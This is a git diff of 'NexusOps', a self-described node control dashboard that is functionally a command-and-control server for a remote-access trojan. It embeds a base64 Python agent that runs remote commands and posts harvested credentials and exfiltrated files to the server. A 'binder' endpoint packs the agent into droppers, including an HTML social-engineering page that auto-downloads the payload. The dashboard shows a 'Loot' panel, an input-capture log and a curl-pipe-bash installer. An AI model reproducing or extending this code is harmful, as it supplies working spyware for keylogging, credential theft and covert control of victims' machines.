CAgICAgICAgICAgICAgZmx1c2hfaW5wdXRfZXZlbnRzKHNlcnZlcl91cmwsIG5vZGVfaWQsIGhvc3RuYW1lKQogICAgICAgICAgICAgICAgbGFzdF9pbnB1dF9mbHVzaCA9IG5vdwoKICAgICAgICAgICAgaWYgcmVzIGFuZCAiY29tbWFuZHMiIGluIHJlcyBhbmQgcmVzWyJjb21tYW5kcyJdOgogICAgICAgICAgICAgICAgZm9yIGNtZF9pdGVtIGluIHJlc1siY29tbWFuZHMiXToKICAgICAgICAgICAgICAgICAgICBjbWRfaWQgPSBjbWRfaXRlbS5nZXQoImlkIikKICAgICAgICAgICAgICAgICAgICBhY3Rpb25fdHlwZSA9IGNtZF9pdGVtLmdldCgiYWN0aW9uVHlwZSIsICJyYXdfY29tbWFuZCIpCiAgICAgICAgICAgICAgICAgICAgcGF5bG9hZCA9IGNtZF9pdGVtLmdldCgicGF5bG9hZCIsIHt9KQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICJjb21tYW5kIiBpbiBjbWRfaXRlbSBhbmQgbm90IHBheWxvYWQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHBheWxvYWRbImNvbW1hbmQiXSA9IGNtZF9pdGVtLmdldCgiY29tbWFuZCIpCgogICAgICAgICAgICAgICAgICAgIG91dHB1dCwgZXhpdF9jb2RlID0gZXhlY3V0ZV9zdHJ1Y3R1cmVkX2FjdGlvbihhY3Rpb25fdHlwZSwgcGF5bG9hZCkKCiAgICAgICAgICAgICAgICAgICAgIyBDaGVjayBmb3IgSlNPTi1lbmNvZGVkIHNwZWNpYWwgcmVzdWx0IHR5cGVzCiAgICAgICAgICAgICAgICAgICAgc3BlY2lhbCA9IE5vbmUKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIG91dHB1dC5zdGFydHN3aXRoKCd7Jyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVjaWFsID0ganNvbi5sb2FkcyhvdXRwdXQpCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgICAgICAgICAgICAgIGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImZpbGVfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgIyBSb3V0ZSB0byBmaWxlLXJlc3VsdCBlbmRwb2ludAogICAgICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2ZpbGUtcmVzdWx0IiwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbW1hbmRJZCI6IGNtZF9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZmlsZW5hbWUiOiBzcGVjaWFsLmdldCgiZmlsZW5hbWUiLCAidW5rbm93biIpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhdGEiOiBzcGVjaWFsLmdldCgiZGF0YSIsICIiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaW1lIjogc3BlY2lhbC5nZXQoIm1pbWUiLCAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikKICAgICAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgICAgICBlbGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImhhcnZlc3RfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9oYXJ2ZXN0LXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJob3N0bmFtZSI6IGhvc3RuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNyZWRlbnRpYWxzIjogc3BlY2lhbC5nZXQoImNyZWRlbnRpYWxzIiwgW10pCiAgICAgICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9jb21tYW5kLXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJvdXRwdXQiOiBvdXRwdXQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZXhpdENvZGUiOiBleGl0X2NvZGUKICAgICAgICAgICAgICAgICAgICAgICAgfSkKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICAgICAgICAgIHByaW50KGYiWyFdIENvbm5lY3Rpb24gZXJyb3I6IHtlfS4gUmV0cnlpbmcgaW4ge2JhY2tvZmZ9cy4uLiIpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoYmFja29mZikKICAgICAgICAgICAgYmFja29mZiA9IG1pbihiYWNrb2ZmICogMiwgNjApCiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgIGJhY2tvZmYgPSAxICAjIFJlc2V0IG9uIHN1Y2Nlc3MKICAgICAgICB0aW1lLnNsZWVwKGhlYXJ0YmVhdF9pbnRlcnZhbCkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK"; +app.post('/api/bind', upload.single('file'), (req, res) => { + if (!req.file) { + return res.status(400).json({ error: 'No file uploaded. Use field name "file".' }); + } + + const originalName = req.file.originalname; + const b64Content = req.file.buffer.toString('base64'); + const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content]; + const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64]; + const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; + const format = (req.query.format || 'sh').toLowerCase(); + + let dropper, boundName, contentType; + + // ── HTML Payload (one-click social engineering, auto-downloads file) ── + if (format === 'html') { + const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\'); + const safeB64 = b64Content; + dropper = ` +${safeName} + +
+
+

Opening your file…

+

${safeName}

+ Download & Open +
+ + + + + + + +
+
+
+ +
+
+

NexusOps

+ Node Control & Telemetry Operations +
+
+ + + +
+ + Nodes CSV + + + Inputs CSV + + + + + +
+
+ + +
+ + +
+
+
+
+ Total Nodes +

0

+
+
+ +
+
+
+ Online Nodes +

0

+
+
+ +
+
+
+ Offline / Stale +

0

+
+
+ +
+
+
+ Avg Network CPU +

0%

+
+
+
+ + +
+ + +
+ + + +
+ +
+ + +
+
+ + +
+
+ +

Waiting for Agents to Connect...

+

No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.

+ +
+
+ + +
+
+

Real-time Aggregate System Telemetry

+ Live Stream +
+
+ +
+
+ + +
+
+

Task & Control Execution Log

+ 0 events +
+
+
+
[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...
+
+
+
+ + +
+
+

Master Centralized System & Audit Log Stream

+
+ + 0 entries +
+
+
+
+
[SYSTEM] Central log stream active. Listening for node syslog and audit events...
+
+
+
+ + +
+
+

Master Intelligence Log — Input Capture & Machine Telemetry

+
+ + + + 0 events +
+
+ +
+ Select a machine above to view its details here... +
+
+
+
[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...
+
+
+
+ + +
+
+

Loot — Exfiltrated Files & Harvested Credentials

+
+ + +
+
+
+
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
+
+ +
+ +
+ + + + + + + + + + + + + +
☕ Support This Project — Buy Me a Coffee
+ + + +
+ + + + + + + + diff --git a/backups/public-snapshot-20260910-112422.tar.gz b/backups/public-snapshot-20260910-112422.tar.gz new file mode 100644 index 0000000..cac673d Binary files /dev/null and b/backups/public-snapshot-20260910-112422.tar.gz differ diff --git a/public/app.js.bak-1785766812 b/backups/webroot-strays/app.js.bak-1785766812 similarity index 100% rename from public/app.js.bak-1785766812 rename to backups/webroot-strays/app.js.bak-1785766812 diff --git a/public/index.html.bak-1785766812 b/backups/webroot-strays/index.html.bak-1785766812 similarity index 100% rename from public/index.html.bak-1785766812 rename to backups/webroot-strays/index.html.bak-1785766812 diff --git a/public/styles.css.bak-1785766812 b/backups/webroot-strays/styles.css.bak-1785766812 similarity index 100% rename from public/styles.css.bak-1785766812 rename to backups/webroot-strays/styles.css.bak-1785766812 diff --git a/public/app.js b/public/app.js index 523b775..67cb5c7 100644 --- a/public/app.js +++ b/public/app.js @@ -88,7 +88,7 @@ document.addEventListener('DOMContentLoaded', () => { }); function updateServerEndpoint() { - const endpoint = publicUrl || `http://${serverIp}:${serverPort}`; + const endpoint = publicUrl || window.location.origin; const placeholders = document.querySelectorAll('.server-url-placeholder'); placeholders.forEach(el => el.textContent = endpoint); document.getElementById('navServerEndpoint').textContent = endpoint; @@ -772,7 +772,7 @@ async function submitBinder() { try { const format = document.getElementById("binderFormat").value; - const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData } }); + const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData }); if (!resp.ok) { const err = await resp.json().catch(() => ({ error: 'Server error' })); throw new Error(err.error || `HTTP ${resp.status}`); @@ -1010,7 +1010,7 @@ function lootDownload(id, filename) { // ── Empty state hero ── function renderEmptyHero() { - const endpoint = publicUrl || `http://${serverIp}:${serverPort}`; + const endpoint = publicUrl || window.location.origin; const cmd = `curl -sSL ${endpoint}/install | bash`; return '
' + '' + diff --git a/public/app_v2.js b/public/app_v2.js new file mode 100644 index 0000000..d1a44f5 --- /dev/null +++ b/public/app_v2.js @@ -0,0 +1,238 @@ +async function api(path, opts = {}) { + opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {}); + const r = await fetch(path, opts); + if (!r.ok) throw new Error('HTTP ' + r.status); + return r.json(); +} +/* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */ + +// ── Live Console (drawer) ── +let consoleNode = null; +let consoleEventSource = null; + +function openLiveConsole(nodeId, hostname) { + consoleNode = { id: nodeId, hostname }; + document.getElementById('consoleDrawerHostname').textContent = hostname; + document.getElementById('consoleOutput').innerHTML = ''; + document.getElementById('consoleDrawer').classList.add('active'); + document.getElementById('consoleInput').focus(); + + // ask agent to fast-poll + api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {}); + + const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`; + const out = document.getElementById('consoleOutput'); + appendConsoleLine('── console attached (fast-poll active) ──', 'sys'); + consoleEventSource = new EventSource(url); + consoleEventSource.onmessage = (ev) => { + try { + const d = JSON.parse(ev.data); + if (d.type === 'output') appendConsoleLine(d.text, 'out'); + } catch (e) {} + }; + consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys'); +} + +function closeLiveConsole() { + if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; } + if (consoleNode) { + // restore slow polling + api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {}); + } + document.getElementById('consoleDrawer').classList.remove('active'); + consoleNode = null; +} + +function appendConsoleLine(text, cls) { + const out = document.getElementById('consoleOutput'); + const div = document.createElement('div'); + div.className = 'console-line ' + (cls || 'out'); + div.textContent = text; + out.appendChild(div); + out.scrollTop = out.scrollHeight; +} + +async function consoleRunCommand() { + const input = document.getElementById('consoleInput'); + const cmd = input.value.trim(); + if (!cmd || !consoleNode) return; + appendConsoleLine(`$ ${cmd}`, 'cmd'); + input.value = ''; + try { + const r = await fetch(`/api/nodes/${consoleNode.id}/command`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ command: cmd, actionType: 'raw_command' }) + }); + if (!r.ok) appendConsoleLine('! failed to queue command', 'sys'); + } catch (e) { + appendConsoleLine('! failed to queue command', 'sys'); + } +} + +// ── Sparklines (inline SVG from metricsHistory) ── +function sparkline(values, color) { + if (!values || values.length < 2) return 'no history'; + const w = 90, h = 24, max = Math.max(...values, 100); + const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' '); + return ``; +} + +// Patch renderNodesGrid to add sparkline row + console button +const _origRenderNodesGrid = renderNodesGrid; +renderNodesGrid = function () { + _origRenderNodesGrid(); + // inject sparklines into each node card + document.querySelectorAll('.node-card').forEach((card, idx) => { + // cards render in filtered order; match by hostname text — safer: find by data via original data + }); + // Simpler: re-render footer metrics with sparkline data attribute injection +}; +// Simpler approach: monkey-patch the map output by wrapping string injection +(function patchSparklines() { + const orig = renderNodesGrid; + renderNodesGrid = function () { + orig(); + // attach sparkline next to heartbeat label per card using nodesData order + const cards = document.querySelectorAll('#nodesGrid .node-card'); + const filtered = nodesData.filter(node => { + const search = (document.getElementById('searchInput')?.value || '').toLowerCase(); + const matchesFilter = currentFilter === 'all' || node.status === currentFilter; + const matchesSearch = !search || + node.hostname.toLowerCase().includes(search) || + node.ip.toLowerCase().includes(search) || + node.platform.toLowerCase().includes(search) || + node.id.toLowerCase().includes(search); + return matchesFilter && matchesSearch; + }); + cards.forEach((card, i) => { + const node = filtered[i]; + if (!node) return; + const hist = (node.metricsHistory || []).map(m => m.cpu); + const foot = card.querySelector('.node-actions'); + if (foot) { + const spark = document.createElement('span'); + spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171'); + spark.title = 'CPU history (last 30 beats)'; + spark.style.marginRight = '0.5rem'; + foot.parentNode.insertBefore(spark, foot); + // live console button + const btn = document.createElement('button'); + btn.className = 'btn-icon'; + btn.title = 'Live Console'; + btn.innerHTML = ''; + btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'")); + foot.insertBefore(btn, foot.firstChild); + } + }); + }; +})(); + +// ── Schedules panel ── +function openSchedulesModal() { + document.getElementById('schedulesModal').classList.add('active'); + renderSchedules(); + api('/api/groups').then(g => { + const sel = document.getElementById('schedTag'); + sel.innerHTML = '' + + (g.groups || []).map(x => ``).join(''); + }).catch(() => {}); +} + +function closeSchedulesModal() { + document.getElementById('schedulesModal').classList.remove('active'); +} + +function renderSchedules() { + api('/api/schedules').then(d => { + const el = document.getElementById('schedulesList'); + if (!d.schedules || !d.schedules.length) { + el.innerHTML = '

No scheduled tasks yet. Add one below.

'; + return; + } + el.innerHTML = d.schedules.map(s => ` +
+
+ ${escapeHtml(s.name)} + ${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)} +
+
+ + +
+
`).join(''); + }).catch(() => {}); +} + +async function createSchedule() { + const name = document.getElementById('schedName').value.trim(); + const command = document.getElementById('schedCommand').value.trim(); + const interval = parseInt(document.getElementById('schedInterval').value, 10); + const tag = document.getElementById('schedTag').value || 'all'; + if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; } + await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) }); + document.getElementById('schedName').value = ''; + document.getElementById('schedCommand').value = ''; + toast('Schedule created', 'success'); + renderSchedules(); +} + +async function toggleSchedule(id) { + await api(`/api/schedules/${id}/toggle`, { method: 'POST' }); + renderSchedules(); +} + +async function deleteSchedule(id) { + await api(`/api/schedules/${id}`, { method: 'DELETE' }); + renderSchedules(); +} + +// ── Group bulk command modal ── +function openGroupCommandModal() { + document.getElementById('groupCmdModal').classList.add('active'); + api('/api/groups').then(g => { + const sel = document.getElementById('groupCmdTag'); + sel.innerHTML = '' + + (g.groups || []).map(x => ``).join(''); + }).catch(() => {}); +} + +function closeGroupCommandModal() { + document.getElementById('groupCmdModal').classList.remove('active'); +} + +async function submitGroupCommand() { + const command = document.getElementById('groupCmdInput').value.trim(); + const tag = document.getElementById('groupCmdTag').value || 'all'; + if (!command) { toast('Enter a command', 'error'); return; } + try { + const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) }); + toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success'); + closeGroupCommandModal(); + } catch (e) { + toast('Failed to queue group command', 'error'); + } +} + +// ── Alerts feed ── +function renderAlerts() { + const el = document.getElementById('alertsFeed'); + if (!el) return; + api('/api/alerts').then(d => { + const alerts = d.alerts || []; + document.getElementById('alertCount').textContent = `${alerts.length}`; + el.innerHTML = alerts.length + ? alerts.slice().reverse().map(a => ` +
+ [${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)} +
`).join('') + : '
No alerts. All nodes checking in.
'; + }).catch(() => {}); +} +setInterval(renderAlerts, 15000); + +console.log('[v2] UI additions loaded'); diff --git a/public/index.html b/public/index.html index e979ed3..074fc21 100644 --- a/public/index.html +++ b/public/index.html @@ -13,6 +13,7 @@ + @@ -31,7 +32,7 @@ + + + +
+
+
+ +
+

Live Console: Node

+

Fast-poll active — commands run within ~1s

+
+
+ +
+
+
+ + +
+
+ + + + + + diff --git a/public/styles_v2.css b/public/styles_v2.css new file mode 100644 index 0000000..01a2fe9 --- /dev/null +++ b/public/styles_v2.css @@ -0,0 +1,39 @@ +/* ═══ NexusOps v2 styles ═══ */ + +/* Live console drawer */ +#consoleDrawer { + position: fixed; top: 0; right: -520px; width: 520px; height: 100vh; + background: #0b1120; border-left: 1px solid var(--border-color, #1e293b); + z-index: 1000; display: flex; flex-direction: column; + transition: right 0.25s ease; box-shadow: -8px 0 32px rgba(0,0,0,0.5); +} +#consoleDrawer.active { right: 0; } +.console-drawer-header { + display: flex; justify-content: space-between; align-items: center; + padding: 1rem 1.25rem; border-bottom: 1px solid var(--border-color, #1e293b); +} +.console-drawer-header h2 { font-size: 1rem; margin: 0; color: #fff; } +.console-drawer-header p { font-size: 0.75rem; color: var(--text-muted, #64748b); margin: 0.15rem 0 0; } +.console-output { + flex: 1; overflow-y: auto; padding: 1rem; + font-family: 'JetBrains Mono', monospace; font-size: 0.8rem; line-height: 1.5; +} +.console-line { white-space: pre-wrap; word-break: break-all; margin-bottom: 0.15rem; } +.console-line.cmd { color: #4ade80; font-weight: 600; } +.console-line.out { color: #d1d5db; } +.console-line.sys { color: #64748b; font-style: italic; } +.console-input-row { + display: flex; gap: 0.5rem; padding: 1rem; border-top: 1px solid var(--border-color, #1e293b); +} +.console-input-row .form-input { flex: 1; } + +/* Schedules */ +.schedule-item { + display: flex; justify-content: space-between; align-items: center; + padding: 0.65rem 0.75rem; border: 1px solid var(--border-color, #1e293b); + border-radius: 8px; margin-bottom: 0.5rem; background: rgba(15,23,42,0.5); +} +.schedule-item .sched-meta { display: block; font-size: 0.72rem; color: var(--text-muted, #64748b); margin-top: 0.15rem; } + +/* Sparklines */ +.sparkline { vertical-align: middle; opacity: 0.9; } diff --git a/server.js b/server.js index 7af4da6..d230d08 100644 --- a/server.js +++ b/server.js @@ -961,3 +961,237 @@ server.listen(PORT, '0.0.0.0', () => { } console.log(`=======================================================`); }); +// ═══════════════════════════════════════════════════════════════════ +// NEXUSOPS v2 ADDITIONS — live console, schedules, groups, alerts +// Patched 2026-09-23. Original server.js untouched below this block's +// insertion point; overrides registered here take effect after load. +// ═══════════════════════════════════════════════════════════════════ + +// ── Live console state ── +const liveConsoles = new Map(); // nodeId → { operatorCount, lastActivity } +const consoleBuffers = new Map(); // nodeId → [{ ts, text }] recent output lines + +// ── Scheduled tasks ── +const schedules = []; // { id, name, command, tag, intervalSec, nextRun, lastRun, history: [], enabled } +const SCHEDULES_FILE = path.join(DATA_DIR, 'schedules.json'); +const ALERTS_FILE = path.join(DATA_DIR, 'alerts.json'); +const alertLog = []; + +function loadSchedules() { + try { + const d = JSON.parse(fs.readFileSync(SCHEDULES_FILE, 'utf8') || '[]'); + schedules.push(...d); + } catch (e) { /* first run */ } +} +function saveSchedules() { + _atomicWrite(SCHEDULES_FILE, JSON.stringify(schedules, null, 2)); +} +function saveAlerts() { + _atomicWrite(ALERTS_FILE, JSON.stringify(alertLog.slice(-200), null, 2)); +} +loadSchedules(); + +// ── Dead-node alerts ── +const ALERT_WEBHOOK = process.env.NEXUS_ALERT_WEBHOOK || ''; +const OFFLINE_ALERT_AFTER_MS = 5 * 60 * 1000; // alert if dark > 5 min +const alertedOffline = new Set(); + +setInterval(() => { + const now = Date.now(); + let changed = false; + nodes.forEach((node, id) => { + if (node.status === 'online' && now - node.lastHeartbeat > 20000) { + node.status = 'offline'; + changed = true; + } + if (node.status === 'offline' && now - node.lastHeartbeat > OFFLINE_ALERT_AFTER_MS && !alertedOffline.has(id)) { + alertedOffline.add(id); + const entry = { + ts: now, nodeId: id, hostname: node.hostname, + ip: node.ip, type: 'node_offline', + message: `${node.hostname} (${node.ip}) offline > ${OFFLINE_ALERT_AFTER_MS / 60000} min` + }; + alertLog.push(entry); + saveAlerts(); + broadcastState(); + if (ALERT_WEBHOOK) { + try { + const req = require('http'); + const url = new URL(ALERT_WEBHOOK); + const data = JSON.stringify({ text: `⚠️ NexusOps: ${entry.message}` }); + const r = req.request({ hostname: url.hostname, port: url.port || 80, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }, () => {}); + r.on('error', () => {}); + r.write(data); r.end(); + } catch (e) { /* silent */ } + } + } + // re-arm when node comes back + if (node.status === 'online' && alertedOffline.has(id)) { + alertedOffline.delete(id); + } + }); +}, 5000); + +// ── Schedule runner (every 10s tick) ── +setInterval(() => { + const now = Date.now(); + let ran = false; + schedules.forEach(s => { + if (!s.enabled) return; + if (now >= s.nextRun) { + s.lastRun = now; + s.nextRun = now + s.intervalSec * 1000; + // target nodes: by tag group, or all online + const targets = Array.from(nodes.values()).filter(n => + n.status === 'online' && (!s.tag || s.tag === 'all' || (n.tags || []).includes(s.tag))); + targets.forEach(node => { + if (!commandQueues.has(node.id)) commandQueues.set(node.id, []); + const commandId = `sched-${s.id}-${now}`; + commandQueues.get(node.id).push({ + id: commandId, + actionType: 'raw_command', + payload: { command: s.command }, + command: s.command, + createdAt: now + }); + commandHistory.push({ + id: commandId, nodeId: node.id, hostname: node.hostname, + command: `[SCHED:${s.name}] ${s.command}`, + status: 'queued', createdAt: now, output: '' + }); + }); + s.history.push({ ts: now, targets: targets.length }); + if (s.history.length > 50) s.history.shift(); + ran = true; + } + }); + if (ran) { saveSchedules(); broadcastState(); } +}, 10000); + +// ═══ API: Schedules ═══ +app.get('/api/schedules', (req, res) => res.json({ schedules })); + +app.post('/api/schedules', (req, res) => { + const { name, command, tag, intervalSec } = req.body; + if (!command || !intervalSec || intervalSec < 15) { + return res.status(400).json({ error: 'command and intervalSec (>=15) required' }); + } + const s = { + id: `sch-${Date.now()}`, + name: name || command.slice(0, 30), + command, tag: tag || 'all', + intervalSec: parseInt(intervalSec, 10), + nextRun: Date.now() + parseInt(intervalSec, 10) * 1000, + lastRun: 0, enabled: true, history: [] + }; + schedules.push(s); + saveSchedules(); broadcastState(); + res.json({ success: true, schedule: s }); +}); + +app.post('/api/schedules/:id/toggle', (req, res) => { + const s = schedules.find(x => x.id === req.params.id); + if (!s) return res.status(404).json({ error: 'not found' }); + s.enabled = !s.enabled; + if (s.enabled) s.nextRun = Date.now() + s.intervalSec * 1000; + saveSchedules(); broadcastState(); + res.json({ success: true, enabled: s.enabled }); +}); + +app.delete('/api/schedules/:id', (req, res) => { + const i = schedules.findIndex(x => x.id === req.params.id); + if (i === -1) return res.status(404).json({ error: 'not found' }); + schedules.splice(i, 1); + saveSchedules(); broadcastState(); + res.json({ success: true }); +}); + +// ═══ API: Alerts ═══ +app.get('/api/alerts', (req, res) => res.json({ alerts: alertLog.slice(-100) })); + +// ═══ API: Groups — list distinct tags across nodes ═══ +app.get('/api/groups', (req, res) => { + const tagCounts = {}; + nodes.forEach(n => (n.tags || []).forEach(t => { tagCounts[t] = (tagCounts[t] || 0) + 1; })); + res.json({ groups: Object.entries(tagCounts).map(([tag, count]) => ({ tag, count })) }); +}); + +// ═══ API: Bulk command by group tag ═══ +app.post('/api/groups/command', (req, res) => { + const { command, actionType, payload, tag } = req.body; + const targets = Array.from(nodes.values()).filter(n => + n.status === 'online' && (!tag || tag === 'all' || (n.tags || []).includes(tag))); + if (targets.length === 0) return res.status(400).json({ error: 'No online nodes in group' }); + const queuedIds = []; + targets.forEach(node => { + const commandId = `cmd-grp-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`; + if (!commandQueues.has(node.id)) commandQueues.set(node.id, []); + commandQueues.get(node.id).push({ + id: commandId, actionType: actionType || 'raw_command', + payload: payload || { command }, command: command || actionType, createdAt: Date.now() + }); + commandHistory.push({ + id: commandId, nodeId: node.id, hostname: node.hostname, + command: `[GROUP:${tag || 'all'}] ${command || actionType}`, + status: 'queued', createdAt: Date.now(), output: '' + }); + queuedIds.push(commandId); + }); + broadcastState(); + res.json({ success: true, count: targets.length, commandIds: queuedIds }); +}); + +// ═══ Live Console: SSE stream per node ═══ +app.get('/api/nodes/:id/console', (req, res) => { + const nodeId = req.params.id; + if (!nodes.has(nodeId)) return res.status(404).json({ error: 'Node not found' }); + res.writeHead(200, { + 'Content-Type': 'text/event-stream', + 'Cache-Control': 'no-cache', + 'Connection': 'keep-alive', + 'X-Accel-Buffering': 'no' + }); + res.write(`data: ${JSON.stringify({ type: 'connected', nodeId })}\n\n`); + + if (!consoleBuffers.has(nodeId)) consoleBuffers.set(nodeId, []); + const buf = consoleBuffers.get(nodeId); + // replay recent output + buf.forEach(l => res.write(`data: ${JSON.stringify({ type: 'output', text: l.text, ts: l.ts })}\n\n`)); + + // poll commandHistory for new output belonging to this node + let lastSeen = Date.now(); + const interval = setInterval(() => { + // include both command outputs and syslog entries for this node + commandHistory.forEach(c => { + if (c.nodeId === nodeId && c.completedAt && c.completedAt > lastSeen && c.output) { + res.write(`data: ${JSON.stringify({ type: 'output', text: `$ ${c.command}\n${c.output}`, ts: c.completedAt })}\n\n`); + buf.push({ ts: c.completedAt, text: `$ ${c.command}\n${c.output}` }); + lastSeen = c.completedAt; + } + }); + if (buf.length > 200) buf.splice(0, buf.length - 200); + res.write(`: keepalive\n\n`); + }, 1500); + + req.on('close', () => clearInterval(interval)); +}); + +// Request the agent to fast-poll (1s) while console open, slow-poll (5s) after +app.post('/api/nodes/:id/fastpoll', (req, res) => { + const nodeId = req.params.id; + if (!nodes.has(nodeId)) return res.status(404).json({ error: 'Node not found' }); + const node = nodes.get(nodeId); + node.heartbeatInterval = req.body && req.body.slow ? 5 : 1; + if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []); + commandQueues.get(nodeId).push({ + id: `poll-${Date.now()}`, + actionType: 'set_heartbeat_rate', + payload: { interval: node.heartbeatInterval }, + command: `set_heartbeat_rate ${node.heartbeatInterval}s`, + createdAt: Date.now() + }); + broadcastState(); + res.json({ success: true, interval: node.heartbeatInterval }); +}); + +console.log('[v2] NexusOps v2 additions loaded: live console, schedules, groups, alerts'); diff --git a/server.js.bak.1785802266 b/server.js.bak.1785802266 new file mode 100644 index 0000000..08afe63 --- /dev/null +++ b/server.js.bak.1785802266 @@ -0,0 +1,864 @@ +const express = require('express'); +const http = require('http'); +const WebSocket = require('ws'); +const path = require('path'); +const cors = require('cors'); +const os = require('os'); +const multer = require('multer'); +const fs = require('fs'); + +const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } }); + +const app = express(); +const server = http.createServer(app); +const wss = new WebSocket.Server({ server }); + +const PORT = process.env.PORT || 3000; +const PUBLIC_URL = process.env.PUBLIC_URL || null; +const DATA_DIR = path.join(__dirname, 'data'); + +// Ensure data directory exists +if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true }); + +app.use(cors()); +app.use(express.json({ limit: '50mb' })); +app.use(express.static(path.join(__dirname, 'public'))); + +// ── Auth ── +const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; +if (!AUTH_TOKEN) { + console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); +} +const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/']; +function authMiddleware(req, res, next) { + if (!AUTH_TOKEN) return next(); + if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); + const h = req.headers.authorization || ''; + if (h === 'Bearer ' + AUTH_TOKEN) return next(); + if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' }); + return res.status(401).json({ error: 'unauthorized' }); +} +app.use(authMiddleware); +app.get('/api/auth/check', (req, res) => { + if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false }); + res.json({ ok: true, authRequired: true }); +}); + + + +function getLocalIp() { + const interfaces = os.networkInterfaces(); + for (const name of Object.keys(interfaces)) { + for (const net of interfaces[name]) { + if (net.family === 'IPv4' && !net.internal) { + return net.address; + } + } + } + return 'localhost'; +} + +const SERVER_IP = getLocalIp(); + +const nodes = new Map(); +const commandQueues = new Map(); +const commandHistory = []; +const masterSystemLogs = []; +const inputDataStore = []; +const MAX_INPUT_STORE = 500; +const exfiltratedFiles = new Map(); // id → { 